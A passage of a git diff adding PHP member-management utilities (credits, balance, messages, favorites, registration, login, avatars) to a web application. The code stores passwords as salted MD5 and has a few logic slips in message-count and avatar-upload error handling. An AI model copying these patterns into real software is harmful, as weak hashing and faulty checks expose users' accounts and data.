SerializeUtil::jsonEncode([ + 'freezeId' => $freeze['id'], + ]), + ]); + } + + /** + * 冻结用户积分(取消阶段) + * !!! 这个方法应该在事务中调用 !!! + * @param $memberUserId int 用户ID + * @param $freezeId int 冻结ID + * @throws BizException + */ + public static function freezeCancel($memberUserId, $freezeId) + { + $freeze = ModelUtil::getWithLock(MemberCreditFreeze::class, [ + 'id' => $freezeId, + ]); + BizException::throwsIfEmpty('MemberCreditUtil.freezeCancel.empty', $freeze); + BizException::throwsIf('MemberCreditUtil.freezeCancel.memberError', $freeze['memberUserId'] != $memberUserId); + BizException::throwsIf('MemberCreditUtil.freezeCancel.status', $freeze['status'] != MemberCreditFreezeStatus::PROCESSING); + ModelUtil::update(MemberCreditFreeze::class, $freeze['id'], [ + 'status' => MemberCreditFreezeStatus::CANCELED, + 'cancelAt' => date('Y-m-d H:i:s'), + ]); + $m = ModelUtil::getWithLock(MemberCredit::class, ['memberUserId' => $memberUserId]); + BizException::throwsIfEmpty('MemberCreditUtil.freezeCancel.empty', $m); + ModelUtil::update(MemberCredit::class, $m['id'], [ + 'total' => $m['total'] + $freeze['value'], + 'freezeTotal' => $m['freezeTotal'] - $freeze['value'], + ]); + } + +} diff --git a/module/Member/Util/MemberDataStatisticUtil.php b/module/Member/Util/MemberDataStatisticUtil.php new file mode 100644 index 00000000..a0f625f7 --- /dev/null +++ b/module/Member/Util/MemberDataStatisticUtil.php @@ -0,0 +1,83 @@ += $sizeLimitBytes) { + BizException::throws('您的上传空间已满,最多可以上传' . FileUtil::formatByte($sizeLimitBytes)); + } + } + + public static function getCreateMemberUser($id) + { + $first = MemberDataStatistic::where('id', $id)->first(); + if (empty($first)) { + $m = new MemberDataStatistic(); + $m->id = $id; + $m->sizeLimit = modstart_config('Member_DataStatisticDefaultLimit', 1024); + $m->save(); + self::updateMemberUserUsedSize($id); + return self::getCreateMemberUser($id); + } + return $first->toArray(); + } + + public static function updateMemberUser($id, $data) + { + $m = MemberDataStatistic::where('id', $id)->first(); + $updateSize = false; + if (empty($m)) { + $m = new MemberDataStatistic(); + $m->id = $id; + $updateSize = true; + } + foreach ($data as $k => $v) { + $m->$k = $v; + } + $m->save(); + if ($updateSize) { + self::updateMemberUserUsedSize($id); + } + } + + public static function calcMemberUserUsedSize($id) + { + $total = MemberUpload::where(['userId' => $id]) + ->leftJoin('data', 'data.id', '=', 'member_upload.dataId') + ->sum('data.size'); + return intval($total); + } + + public static function updateMemberUserUsedSize($id) + { + $update = [ + 'sizeUsed' => self::calcMemberUserUsedSize($id), + ]; + MemberDataStatistic::where('id', $id)->update($update); + } +} diff --git a/module/Member/Util/MemberFavoriteUtil.php b/module/Member/Util/MemberFavoriteUtil.php new file mode 100644 index 00000000..b4b70841 --- /dev/null +++ b/module/Member/Util/MemberFavoriteUtil.php @@ -0,0 +1,56 @@ + $category, 'categoryId' => $categoryId, 'redirect' => $redirect]); + } + + public static function urlUnfavorite($category, $categoryId, $redirect = '') + { + return modstart_api_url('member_favorite/unfavorite', ['category' => $category, 'categoryId' => $categoryId, 'redirect' => $redirect]); + } + + public static function add($userId, $category, $categoryId) + { + $m = ModelUtil::get('member_favorite', ['userId' => $userId, 'category' => $category, 'categoryId' => $categoryId]); + if (empty($m)) { + ModelUtil::insert('member_favorite', [ + 'userId' => $userId, 'category' => $category, 'categoryId' => $categoryId + ]); + } + } + + public static function delete($userId, $category, $categoryId) + { + ModelUtil::delete('member_favorite', ['userId' => $userId, 'category' => $category, 'categoryId' => $categoryId]); + } + + public static function clean($category, $categoryId) + { + ModelUtil::delete('member_favorite', ['category' => $category, 'categoryId' => $categoryId]); + } + + public static function exists($userId, $category, $categoryId) + { + return ModelUtil::exists('member_favorite', ['userId' => $userId, 'category' => $category, 'categoryId' => $categoryId]); + } + + public static function paginate($userId, $category, $page, $pageSize, $option = []) + { + $option['where']['userId'] = $userId; + $option['where']['category'] = $category; + return ModelUtil::paginate('member_favorite', $page, $pageSize, $option); + } + +} diff --git a/module/Member/Util/MemberFieldUtil.php b/module/Member/Util/MemberFieldUtil.php new file mode 100644 index 00000000..36b3ccaa --- /dev/null +++ b/module/Member/Util/MemberFieldUtil.php @@ -0,0 +1,20 @@ + $userId, 'status' => MemberMessageStatus::UNREAD]); + } + + public static function setMemberMessageRead($userId, $ids = []) + { + if (empty($ids)) { + return; + } + ModelUtil::model('member_message')->where(['userId' => $userId])->whereIn('id', $ids)->update(['status' => MemberMessageStatus::READ]); + foreach ($ids as $id) { + self::updateMessageCount($id); + } + } + + public function setMemberMessageReadAll($userId) + { + ModelUtil::model('member_message')->where(['userId' => $userId])->update(['status' => MemberMessageStatus::READ]); + self::updateMessageCount($userId); + } + + public static function updateMessageCount($userId) + { + MemberUtil::update($userId, [ + 'messageCount' => self::getUnreadMessageCount($userId), + ]); + } + + public static function paginate($userId, $page, $pageSize, $option = []) + { + $option['where']['userId'] = $userId; + $paginateData = ModelUtil::paginate('member_message', $page, $pageSize, $option); + $records = []; + foreach ($paginateData['records'] as $record) { + $item = []; + $item['id'] = $record['id']; + $item['status'] = $record['status']; + $item['fromId'] = $record['fromId']; + $item['content'] = $record['content']; + $item['createTime'] = $record['created_at']; + $records[] = $item; + } + return [ + 'records' => $records, + 'total' => $paginateData['total'], + ]; + } + + public static function delete($userId, $ids = []) + { + if (empty($ids)) { + return; + } + if (!is_array($ids)) { + $ids = [$ids]; + } + ModelUtil::model('member_message')->whereIn('id', $ids)->where(['userId' => $userId])->delete(); + self::updateMessageCount($userId); + } + + public static function deleteAll($userId) + { + ModelUtil::model('member_message')->where(['userId' => $userId])->delete(); + self::updateMessageCount($userId); + } + + public static function update($userId, $ids = [], $update = []) + { + if (empty($ids) || empty($update)) { + return; + } + if (!is_array($ids)) { + $ids = [$ids]; + } + ModelUtil::model('member_message')->whereIn('id', $ids)->where(['userId' => $userId])->update($update); + self::updateMessageCount($userId); + } + + public static function updateRead($userId, $ids = []) + { + self::update($userId, $ids, ['status' => MemberMessageStatus::READ]); + self::updateMessageCount($userId); + } + + public static function updateReadAll($userId) + { + ModelUtil::model('member_message')->where(['userId' => $userId])->update(['status' => MemberMessageStatus::READ]); + self::updateMessageCount($userId); + } + + /** + * @Util 发送消息 + * @param $userId integer 用户ID + * @param $content string 消息HTML内容 + * @param $fromId int 来源用户ID,0表示系统消息 + * @return array + */ + public static function send($userId, $content, $fromId = 0) + { + ModelUtil::insert('member_message', [ + 'userId' => $userId, + 'fromId' => $fromId, + 'status' => MemberMessageStatus::UNREAD, + 'content' => $content, + ]); + self::updateMessageCount($userId); + return Response::generate(0, null); + } + + public static function sendTemplate($memberUserId, $template, $templateData = [], $fromMemberUserId = 0, $module = null) + { + $theme = modstart_config()->getWithEnv('siteTemplate', 'default'); + $view = 'theme.' . $theme . '.message.' . $template; + if (!view()->exists($view)) { + $view = 'theme.default.message.' . $template; + if (!view()->exists($view)) { + if ($module) { + $view = 'module::' . $module . '.View.m.message.' . $template; + if (!view()->exists($view)) { + $view = 'module::' . $module . '.View.message.' . $template; + if (!view()->exists($view)) { + $view = 'module::' . $module . '.View.pc.message.' . $template; + } + } + } else { + $view = 'module::Member.View.' . $theme . '.message.' . $template; + if (!view()->exists($view)) { + $view = 'module::Member.View.default.message.' . $template; + } + } + } + } + if (!view()->exists($view)) { + BizException::throws(L('View Not Found : %s', $template)); + } + $message = View::make($view, $templateData)->render(); + self::send($memberUserId, $message, $fromMemberUserId); + } + + public static function sendTemplateFromView($view, $viewData, $memberUserId, $fromMemberUserId = 0) + { + if (!view()->exists($view)) { + throw new \Exception('message view not found : ' . $view); + } + $message = View::make($view, $viewData)->render(); + self::send($memberUserId, $message, $fromMemberUserId); + } + +} diff --git a/module/Member/Util/MemberMetaUtil.php b/module/Member/Util/MemberMetaUtil.php new file mode 100644 index 00000000..e038c41c --- /dev/null +++ b/module/Member/Util/MemberMetaUtil.php @@ -0,0 +1,50 @@ + $memberUserId, + 'name' => $name, + ]; + if (is_null($value)) { + ModelUtil::delete(MemberMeta::class, $where); + } else { + if (ModelUtil::update(MemberMeta::class, $where, [ + 'value' => $value, + 'updated_at' => Carbon::now() + ]) <= 0) { + ModelUtil::transactionBegin(); + $one = ModelUtil::getWithLock(MemberMeta::class, $where); + if (empty($one)) { + ModelUtil::insert(MemberMeta::class, array_merge($where, [ + 'value' => $value, + ])); + } + ModelUtil::transactionCommit(); + } + } + } + + public static function get($memberUserId, $name) + { + $where = [ + 'memberUserId' => $memberUserId, + 'name' => $name, + ]; + $meta = ModelUtil::get(MemberMeta::class, $where); + if ($meta) { + return $meta['value']; + } + return null; + } +} diff --git a/module/Member/Util/MemberMoneyUtil.php b/module/Member/Util/MemberMoneyUtil.php new file mode 100644 index 00000000..609b01f6 --- /dev/null +++ b/module/Member/Util/MemberMoneyUtil.php @@ -0,0 +1,127 @@ + $memberUserId]); + if (empty($m)) { + return '0.00'; + } + return $m['total']; + } + + /** + * 变更用户的余额 + * !!! 这个方法应该在事务中调用 !!! + * + * @param $memberUserId int 用户ID + * @param $change string 变化值,正数为增加,负数为减少 + * @param $remark string 备注 + * @param $meta array|null 元数据 + * @throws BizException + */ + public static function change($memberUserId, $change, $remark, $meta = null) + { + BizException::throwsIf('MemberMoneyUtil.change.change=0', !$change); + $m = ModelUtil::getWithLock(MemberMoney::class, [ + 'memberUserId' => $memberUserId, + ]); + if (empty($m)) { + $m = ModelUtil::insert(MemberMoney::class, [ + 'memberUserId' => $memberUserId, 'total' => 0, + ]); + } + $total = bcadd($m['total'], $change, 2); + BizException::throwsIf('MemberMoneyUtil.change.total<0', $change < 0 && $total < 0); + if ($meta && !is_string($meta)) { + $meta = SerializeUtil::jsonEncode($meta); + } + ModelUtil::insert(MemberMoneyLog::class, [ + 'memberUserId' => $memberUserId, + 'change' => $change, + 'remark' => $remark, + 'meta' => $meta, + ]); + ModelUtil::update(MemberMoney::class, $m['id'], [ + 'total' => $total, + ]); + } + + /** + * 用户提现 + * !!! 这个方法应该在事务中调用 !!! + * + * @param $memberUserId int 用户ID + * @param $money float 提现金额 + * @param $moneyAfterTax float 扣税后的金额 + * @param $type string 提现方式 + * @param $realname string 真实姓名 + * @param $account string 账号 + * @param string $remark 备注 + * @throws \Exception + */ + public static function cash($memberUserId, $money, $moneyAfterTax, $type, $realname, $account, $remark = '余额提现') + { + self::change($memberUserId, -$money, '余额提现'); + ModelUtil::insert('member_money_cash', [ + 'memberUserId' => $memberUserId, + 'status' => MemberMoneyCashStatus::VERIFYING, + 'money' => $money, + 'moneyAfterTax' => $moneyAfterTax, + 'type' => $type, + 'realname' => $realname, + 'account' => $account, + 'remark' => $remark, + ]); + } + + public static function paginateCash($memberUserId, $page, $pageSize, $option = []) + { + $option['where']['memberUserId'] = $memberUserId; + return ModelUtil::paginate('member_money_cash', $page, $pageSize, $option); + } + + public static function createCharge($memberUserId, $fee) + { + return ModelUtil::insert('member_money_charge', [ + 'sn' => IdUtil::generateSN(), + 'status' => MemberMoneyChargeStatus::CREATED, + 'memberUserId' => $memberUserId, + 'fee' => $fee, + ]); + } + + public static function processCharge($chargeId) + { + $charge = ModelUtil::getWithLock('member_money_charge', ['id' => $chargeId]); + if (empty($charge)) { + throw new \Exception('member_money_charge empty -> ' . $chargeId); + } + if ($charge['status'] != MemberMoneyChargeStatus::CREATED) { + throw new \Exception('member_money_charge status error -> ' . $chargeId); + } + self::change($charge['memberUserId'], $charge['fee'], '充值'); + ModelUtil::update('member_money_charge', ['id' => $chargeId], [ + 'status' => MemberMoneyChargeStatus::SUCCESS, + ]); + } +} diff --git a/module/Member/Util/MemberParamUtil.php b/module/Member/Util/MemberParamUtil.php new file mode 100644 index 00000000..f392a940 --- /dev/null +++ b/module/Member/Util/MemberParamUtil.php @@ -0,0 +1,37 @@ + '用户ID', + '{username}' => '用户名', + ]; + } + + public static function replaceParam($content, $memberUser) + { + BizException::throwsIfEmpty('用户为空', $memberUser); + if (!is_array($memberUser)) { + $memberUser = MemberUtil::getCached($memberUser); + } + $keys = ['id', 'username']; + $param = []; + foreach ($keys as $k) { + $param['{' . $k . '}'] = isset($memberUser[$k]) ? $memberUser[$k] : ''; + } + return str_replace(array_keys($param), array_values($param), $content); + } + + public static function paramTitle() + { + return ' 动态变量'; + } +} diff --git a/module/Member/Util/MemberUtil.php b/module/Member/Util/MemberUtil.php new file mode 100644 index 00000000..0fbc9a3c --- /dev/null +++ b/module/Member/Util/MemberUtil.php @@ -0,0 +1,943 @@ + $id]); + } + + public static function getCached($id) + { + return Cache::remember('MemberUser:' . $id, 60, function () use ($id) { + return self::get($id); + }); + } + + /** + * @param $memberUser + * @since Member 1.6.0 + */ + public static function processDefault(&$memberUser) + { + if (empty($memberUser)) { + return; + } + if (empty($memberUser['nickname'])) { + // 这里暂时不设置,否则会出现前端无法判别是否有设置昵称的问题 + // $memberUser['nickname'] = $memberUser['username']; + } + if (empty($memberUser['avatar'])) { + $memberUser['avatar'] = AssetsUtil::fixFull('asset/image/avatar.svg', false); + } + if (empty($memberUser['avatarMedium'])) { + $memberUser['avatarMedium'] = AssetsUtil::fixFull('asset/image/avatar.svg', false); + } + if (empty($memberUser['avatarBig'])) { + $memberUser['avatarBig'] = AssetsUtil::fixFull('asset/image/avatar.svg', false); + } + } + + private static function processBasicFields($keepFields) + { + $keepFieldsBasic = [ + 'id', 'username', 'avatar', 'created_at', 'signature', 'nickname', + ]; + if (null === $keepFields) { + $keepFields = $keepFieldsBasic; + } else { + $keepFieldsProcess = []; + foreach ($keepFields as $k) { + if ('' == $k) { + $keepFieldsProcess = array_merge($keepFieldsProcess, $keepFieldsBasic); + } else { + $keepFieldsProcess[] = $k; + } + } + $keepFields = $keepFieldsProcess; + } + return $keepFields; + } + + public static function fixAvatar($avatar) + { + return AssetsUtil::fixFullOrDefault($avatar, 'asset/image/avatar.svg'); + } + + public static function getBasic($id, $keepFields = null) + { + $keepFields = self::processBasicFields($keepFields); + $item = self::get($id); + if (empty($item)) { + return null; + } + if (empty($item['nickname'])) { + $item['nickname'] = $item['username']; + } + $item['avatar'] = self::fixAvatar($item['avatar']); + $result = []; + foreach ($keepFields as $keepField) { + if (isset($item[$keepField])) { + $result[$keepField] = $item[$keepField]; + } else { + $result[$keepField] = null; + } + } + return $result; + } + + public static function listViewName($ids) + { + $results = []; + $memberUsers = ModelUtil::allIn('member_user', 'id', $ids); + foreach ($memberUsers as $memberUser) { + $results[] = self::viewName($memberUser); + } + return $results; + } + + public static function listUsers($ids) + { + return ModelUtil::allIn('member_user', 'id', $ids); + } + + public static function convertOneToBasic($memberUser) + { + return [ + 'id' => $memberUser ? $memberUser['id'] : 0, + 'username' => $memberUser ? $memberUser['username'] : null, + 'nickname' => $memberUser ? (empty($memberUser['nickname']) ? $memberUser['username'] : $memberUser['nickname']) : null, + 'created_at' => $memberUser ? $memberUser['created_at'] : null, + 'signature' => isset($memberUser['signature']) ? $memberUser['signature'] : null, + 'avatar' => AssetsUtil::fixFullOrDefault($memberUser ? $memberUser['avatar'] : null, 'asset/image/avatar.svg'), + ]; + } + + public static function convertToBasic($memberUsers) + { + return array_map(function ($item) { + return [ + 'id' => $item['id'], + 'username' => $item['username'], + 'nickname' => empty($item['nickname']) ? $item['username'] : $item['nickname'], + 'created_at' => $item['created_at'], + 'signature' => isset($item['signature']) ? $item['signature'] : null, + 'avatar' => AssetsUtil::fixFullOrDefault($item['avatar'], 'asset/image/avatar.svg'), + ]; + }, $memberUsers); + } + + public static function listUsersBasic($ids) + { + return self::convertToBasic(self::listUsers($ids)); + } + + /** + * @param $id + * @return mixed|string + * @deprecated delete at 2024-07-09 + */ + public static function getViewName($id) + { + return self::viewName(self::get($id)); + } + + public static function viewNameById($id) + { + return self::viewName(self::get($id)); + } + + public static function viewName($memberUser) + { + if ($memberUser && is_numeric($memberUser)) { + return self::viewNameById($memberUser); + } + if (empty($memberUser)) { + return '-'; + } + if (!empty($memberUser['nickname'])) { + return $memberUser['nickname']; + } + if (!empty($memberUser['username'])) { + return $memberUser['username']; + } + return "ID-$memberUser[id]"; + } + + public static function update($id, $data) + { + return ModelUtil::update('member_user', ['id' => $id], $data); + } + + /** + * 更新基本数据,同时检查唯一性 + * + * @param $id + * @param $data + * @return array + */ + public static function updateBasicWithUniqueCheck($id, $data) + { + if (empty($data)) { + return Response::generate(0, 'ok'); + } + foreach (['username' => '用户名', 'phone' => '手机', 'email' => '邮箱',] as $field => $fieldTitle) { + if (isset($data[$field])) { + if (empty($data[$field])) { + $data[$field] = null; + continue; + } + $exists = ModelUtil::all('member_user', [$field => $data[$field]]); + if (count($exists) > 1) { + return Response::generate(-1, $fieldTitle . '重复'); + } + if (count($exists) == 1) { + if ($exists[0]['id'] != $id) { + return Response::generate(-1, $fieldTitle . '重复'); + } + } + } + } + self::update($id, $data); + return Response::generate(0, 'ok'); + } + + /** + * 登录,email phone username 只能选择一个作为登录凭证 + * + * @param string $username + * @param string $phone + * @param string $email + * @param string $password + * @return array ['code'=>'0','msg'=>'ok','data'=>MemberUser] + */ + public static function login($username = '', $phone = '', $email = '', $password = '') + { + $email = trim($email); + $phone = trim($phone); + $username = trim($username); + + if (!($email || $phone || $username)) { + return Response::generate(-1, '所有登录字段均为空'); + } + if (!$password) { + return Response::generate(-2, '密码为空'); + } + + if ($email) { + if (!FormatUtil::isEmail($email)) { + return Response::generate(-3, '邮箱格式不正确'); + } + $where = [ + 'email' => $email + ]; + } else if ($phone) { + if (!preg_match('/(^1[0-9]{10}$)/', $phone)) { + return Response::generate(-4, '手机格式不正确'); + } + $where = [ + 'phone' => $phone + ]; + } else if ($username) { + if (strpos($username, '@') !== false) { + return Response::generate(-5, '用户名格式不正确'); + } + $where = [ + 'username' => $username + ]; + } + + $memberUser = ModelUtil::get('member_user', $where); + if (empty($memberUser)) { + return Response::generate(-6, '登录失败:用户名或密码错误'); + } + + MemberUserLoginAttemptEvent::fire($memberUser['id'], Request::ip(), AgentUtil::getUserAgent()); + + if ($memberUser['password'] != EncodeUtil::md5WithSalt($password, $memberUser['passwordSalt'])) { + MemberUserLoginFailedEvent::fire($memberUser['id'], $memberUser['username'], Request::ip(), AgentUtil::getUserAgent()); + return Response::generate(-7, '登录失败:用户名或密码错误'); + } + + switch ($memberUser['status']) { + case MemberStatus::FORBIDDEN: + return Response::generateError(-8, '登录失败:当前用户已被禁用'); + } + return Response::generateSuccessData($memberUser); + } + + public static function autoSetUsernameNickname($memberUserId, $suggestName, $randomLength = 6) + { + if (preg_match('/\\{.*\\}/', $suggestName)) { + $memberUser = self::get($memberUserId); + $map = [ + '{Phone}' => $memberUser['phone'], + '{Phone4}' => substr($memberUser['phone'], 7), + '{Uid}' => $memberUser['id'], + ]; + $suggestName = str_replace(array_keys($map), array_values($map), $suggestName); + $randomLength = 0; + } + self::suggestUsernameNickname($memberUserId, $suggestName, $randomLength); + } + + public static function getSuggestUsernameNickname($suggest) + { + $suggestName = $suggest . Str::random(1); + for ($i = 0; $i < 20; $i++) { + $found = ModelUtil::model('member_user') + ->where(['username' => $suggestName]) + ->orWhere(['nickname' => $suggestName]) + ->first(); + if (empty($found)) { + return $suggestName; + } + $suggestName = $suggestName . Str::random(1); + } + return $suggestName . Str::random(10); + } + + private static function suggestUsernameNickname($memberUserId, $prefix = '用户', $randomLength = 6) + { + if ($randomLength > 0) { + $suggestName = $prefix . RandomUtil::string($randomLength); + } else { + $suggestName = $prefix; + } + for ($i = 0; $i < 20; $i++) { + $found = ModelUtil::model('member_user') + ->where('id', '<>', $memberUserId) + ->where(function ($query) use ($suggestName) { + $query->where('username', $suggestName) + ->orWhere('nickname', $suggestName); + }) + ->first(); + if (empty($found)) { + break; + } + $suggestName = $suggestName . Str::random(1); + } + ModelUtil::update('member_user', $memberUserId, [ + 'username' => $suggestName, + 'nickname' => $suggestName, + ]); + } + + public static function registerId($id, $data = []) + { + $memberUser = ModelUtil::insert('member_user', array_merge([ + 'id' => $id, + 'status' => MemberStatus::NORMAL, + 'vipId' => MemberVipUtil::defaultVipId(), + 'groupId' => MemberGroupUtil::defaultGroupId(), + 'isDeleted' => false, + ], $data)); + return Response::generate(0, 'ok', $memberUser); + } + + public static function registerUsername($username) + { + return self::register($username, '', '', '', true); + } + + public static function registerUsernameQuick($username) + { + $suggestionUsername = $username; + if ($suggestionUsername == modstart_config('Member_RegisterUsernameSuggest', '用户')) { + $suggestionUsername = $suggestionUsername . Str::random(6); + } + for ($i = 1; $i < 10; $i++) { + $ret = self::register($suggestionUsername, '', '', '', true); + if ($ret['code']) { + $suggestionUsername = $suggestionUsername . Str::random(1); + } else { + return $ret; + } + } + return Response::generateError('注册失败'); + } + + /** + * 用户注册 + * email phone username param.nickname 可以只选择一个为注册ID + * username 和 nickname 的区别是一个可以作为登录名,一个不可以,原则上公开界面上优先显示 nickname,理论上 nickname 可以重复 + * + * @param $username string 用户名 + * @param $phone string 手机号 + * @param $email string 邮箱 + * @param $password string 密码 + * @param $ignorePassword bool 是否忽略密码 + * @param $param array 参数 + * @return array ['code'=>'0','msg'=>'ok','data'=>'member_user array'] + */ + public static function register($username = '', $phone = '', $email = '', $password = '', $ignorePassword = false, $param = []) + { + $param = array_merge([ + 'nickname' => $username, + ], $param); + if (empty($param['nickname'])) { + $param['nickname'] = null; + } + + $email = trim($email); + $phone = trim($phone); + $username = trim($username); + + if (!($email || $phone || $username || $param['nickname'])) { + return Response::generate(-1, '所有注册字段均为空'); + } + + if ($email) { + $ret = self::uniqueCheck('email', $email); + if ($ret['code']) { + return $ret; + } + } else { + $email = null; + } + if ($phone) { + $ret = self::uniqueCheck('phone', $phone); + if ($ret['code']) { + return $ret; + } + } else { + $phone = null; + } + if ($username) { + $ret = self::uniqueCheck('username', $username); + if ($ret['code']) { + return $ret; + } + $minLength = modstart_config('Member_UsernameMinLength', 3); + if (strlen($username) < $minLength) { + return Response::generate(-1, '用户名至少' . $minLength . '个字符'); + } + // 为了统一登录时区分邮箱 + if (Str::contains($username, '@')) { + return Response::generate(-1, '用户名不能包含特殊字符'); + } + // 为了统一登录时候区分手机号 + if (preg_match('/^[0-9]{11}$/', $username)) { + return Response::generate(-1, '用户名不能为纯数字'); + } + } else { + $username = null; + } + if (!$ignorePassword) { + if (empty($password)) { + return Response::generate(-3, '密码不合法'); + } + $ret = self::passwordStrengthCheck($password); + if (Response::isError($ret)) { + return Response::generate(-1, $ret['msg']); + } + } + $passwordSalt = Str::random(16); + $memberUser = ModelUtil::insert('member_user', [ + 'status' => MemberStatus::NORMAL, + 'username' => $username, + 'email' => $email, + 'phone' => $phone, + 'nickname' => $param['nickname'], + 'password' => $ignorePassword ? null : EncodeUtil::md5WithSalt($password, $passwordSalt), + 'passwordSalt' => $ignorePassword ? null : $passwordSalt, + 'vipId' => MemberVipUtil::defaultVipId(), + 'groupId' => MemberGroupUtil::defaultGroupId(), + 'isDeleted' => false, + ]); + return Response::generate(0, 'ok', $memberUser); + } + + /** + * 唯一性检查 + * + * @param string $type = email | phone | username + * @param $value + * @param int $ignoreUserId + * @return array ['code'=>'0','msg'=>'ok'] + */ + public static function uniqueCheck($type, $value, $ignoreUserId = 0) + { + $value = trim($value); + switch ($type) { + case 'email' : + if (!FormatUtil::isEmail($value)) { + return Response::generate(-1, '邮箱格式不正确'); + } + break; + case 'phone' : + if (!preg_match('/(^1[0-9]{10}$)/', $value)) { + return Response::generate(-1, '手机格式不正确'); + } + break; + case 'username' : + if (strpos($value, '@') !== false) { + return Response::generate(-1, '用户名格式不正确'); + } + break; + case 'nickname': + break; + default : + return Response::generate(-1, '未能识别的类型' . $type); + } + + $memberUser = ModelUtil::get('member_user', [$type => $value]); + if (empty ($memberUser)) { + return Response::generate(0, 'ok'); + } + + $lang = [ + 'nickname' => '昵称', + 'username' => '用户名', + 'email' => '邮箱', + 'phone' => '手机号' + ]; + if ($ignoreUserId == $memberUser['id']) { + return Response::generate(0, 'ok'); + } + return Response::generate(-2, $lang [$type] . '已经被占用'); + } + + + public static function getByUsername($username) + { + return ModelUtil::get('member_user', ['username' => $username]); + } + + public static function getByEmail($email) + { + return ModelUtil::get('member_user', ['email' => $email]); + } + + public static function getByPhone($phone) + { + return ModelUtil::get('member_user', ['phone' => $phone]); + } + + public static function changeNickname($memberUserId, $nickname) + { + $ret = self::uniqueCheck('nickname', $nickname, $memberUserId); + if (Response::isError($ret)) { + return $ret; + } + ModelUtil::update('member_user', $memberUserId, ['nickname' => $nickname]); + return Response::generate(0, 'ok'); + } + + /** + * 修改密码 + * 注意参数顺序!!! + * + * @param $memberUserId int 用户id + * @param $newPassword string 新密码 + * @param $oldPassword string 旧密码 + * @param $ignoreOldPassword bool 是否忽略旧密码 + * @return array + */ + public static function changePassword($memberUserId, $newPassword, $oldPassword = null, $ignoreOldPassword = false) + { + if (!$ignoreOldPassword && empty($oldPassword)) { + return Response::generate(-1, '旧密码不能为空'); + } + + $memberUser = ModelUtil::get('member_user', ['id' => $memberUserId]); + if (empty($memberUser)) { + return Response::generate(-1, "用户不存在"); + } + if (empty ($newPassword)) { + return Response::generate(-1, '新密码为空'); + } + $ret = self::passwordStrengthCheck($newPassword); + if (Response::isError($ret)) { + return Response::generate(-1, $ret['msg']); + } + if (!$ignoreOldPassword && EncodeUtil::md5WithSalt($oldPassword, $memberUser['passwordSalt']) != $memberUser['password']) { + return Response::generate(-1, '旧密码不正确'); + } + + $passwordSalt = Str::random(16); + + ModelUtil::update('member_user', ['id' => $memberUser['id']], [ + 'passwordSalt' => $passwordSalt, + 'password' => EncodeUtil::md5WithSalt($newPassword, $passwordSalt) + ]); + + return Response::generate(0, 'ok'); + } + + /** + * 用户上传你图片 + * @param $userId + * @param $avatarData + * @param string $avatarExt + * @return array ['code'=>'0','msg'=>'ok'] + * @throws \Exception + */ + public static function setAvatar($userId, $avatarData, $avatarExt = 'jpg') + { + if (!in_array($avatarExt, ['jpg', 'jpeg', 'png', 'gif'])) { + return Response::generate(-1, '图片格式不正确'); + } + $memberUser = self::get($userId); + if (empty($memberUser)) { + return Response::generate(-1, '用户不存在'); + } + if (empty($avatarData)) { + return Response::generate(-1, '图片数据为空'); + } + $imageBig = (string)Image::make($avatarData)->resize(400, 400)->encode($avatarExt, 75); + $imageMedium = (string)Image::make($avatarData)->resize(200, 200)->encode($avatarExt, 75); + $image = (string)Image::make($avatarData)->resize(50, 50)->encode($avatarExt, 75); + + $uploadParam = [ + 'eventOpt' => [ + 'param' => [ + 'userType' => 'member', + 'userId' => $userId + ], + DataFileUploadedEvent::OPT_IMAGE_COMPRESS_IGNORE => true, + DataFileUploadedEvent::OPT_IMAGE_WATERMARK_IGNORE => true, + ] + ]; + $retBig = DataManager::upload('image', 'U' . $userId . '_AvatarBig.' . $avatarExt, $imageBig, null, $uploadParam); + if ($retBig['code']) { + return Response::generate(-1, '头像存储失败(' . $retBig['msg'] . ')'); + } + $retMedium = DataManager::upload('image', 'U' . $userId . '_AvatarMiddle.' . $avatarExt, $imageMedium, null, $uploadParam); + if ($retMedium['code']) { + DataManager::deleteById($retBig['data']['id']); + if ($retBig['code']) { + return Response::generate(-1, '头像存储失败(' . $retMedium['msg'] . ')'); + } + } + $ret = DataManager::upload('image', 'U_' . $userId . '_Avatar.' . $avatarExt, $image, null, $uploadParam); + if ($ret['code']) { + DataManager::deleteById($retBig['data']['id']); + DataManager::deleteById($retMedium['data']['id']); + if ($retBig['code']) { + return Response::generate(-1, '头像存储失败(' . $ret['msg'] . ')'); + } + } + self::update($memberUser['id'], [ + 'avatarBig' => $retBig['data']['fullPath'], + 'avatarMedium' => $retMedium['data']['fullPath'], + 'avatar' => $ret['data']['fullPath'] + ]); + return Response::generateSuccess(); + } + + /** + * 批量查询用户 + * @param $userIds + * @return array [userId=>MemberUser,...] + */ + public static function findUsers($userIds) + { + if (empty($userIds)) { + return []; + } + $userMemberMap = []; + $memberUsers = ModelUtil::model('member_user')->whereIn('id', $userIds)->get(); + foreach ($memberUsers as &$r) { + $userMemberMap[$r->id] = $r->toArray(); + } + return $userMemberMap; + } + + /** + * 过滤用户ID为真实用户ID + * @param $userIds + * @return int[] + */ + public static function filterUserIds($userIds) + { + if (empty($userIds)) { + return []; + } + $map = []; + $memberUsers = ModelUtil::model('member_user')->whereIn('id', $userIds)->get(['id']); + foreach ($memberUsers as &$r) { + $map[$r->id] = true; + } + return array_keys($map); + } + + public static function mergeMemberUsers(&$records, $memberUserIdKey = 'memberUserId', $memberUserMergeKey = '_memberUser') + { + ModelUtil::join($records, $memberUserIdKey, $memberUserMergeKey, 'member_user', 'id'); + } + + public static function mergeMemberUserBasics(&$records, $memberUserIdKey = 'memberUserId', $memberUserMergeKey = '_memberUser', $keepFields = null) + { + $keepFields = self::processBasicFields($keepFields); + if (is_array($records)) { + ModelUtil::join($records, $memberUserIdKey, $memberUserMergeKey, MemberUser::class, 'id'); + foreach ($records as $k => $v) { + if (empty($v[$memberUserMergeKey])) { + continue; + } + $viewName = self::viewName($v[$memberUserMergeKey]); + $memberUser = ArrayUtil::keepKeys($v[$memberUserMergeKey], $keepFields); + if (empty($memberUser['nickname'])) { + $memberUser['nickname'] = $memberUser['username']; + } + if (empty($memberUser['avatar'])) { + $memberUser['avatar'] = AssetsUtil::fixFull('asset/image/avatar.svg'); + } else { + $memberUser['avatar'] = AssetsUtil::fixFull($memberUser['avatar']); + } + $memberUser['viewName'] = $viewName; + $records[$k][$memberUserMergeKey] = $memberUser; + } + } else { + ModelUtil::joinItems($records, $memberUserIdKey, $memberUserMergeKey, MemberUser::class, 'id'); + foreach ($records as $item) { + if (empty($item->{$memberUserMergeKey})) { + continue; + } + $viewName = self::viewName($item->{$memberUserMergeKey}); + $memberUser = ArrayUtil::keepKeys($item->{$memberUserMergeKey}, $keepFields); + 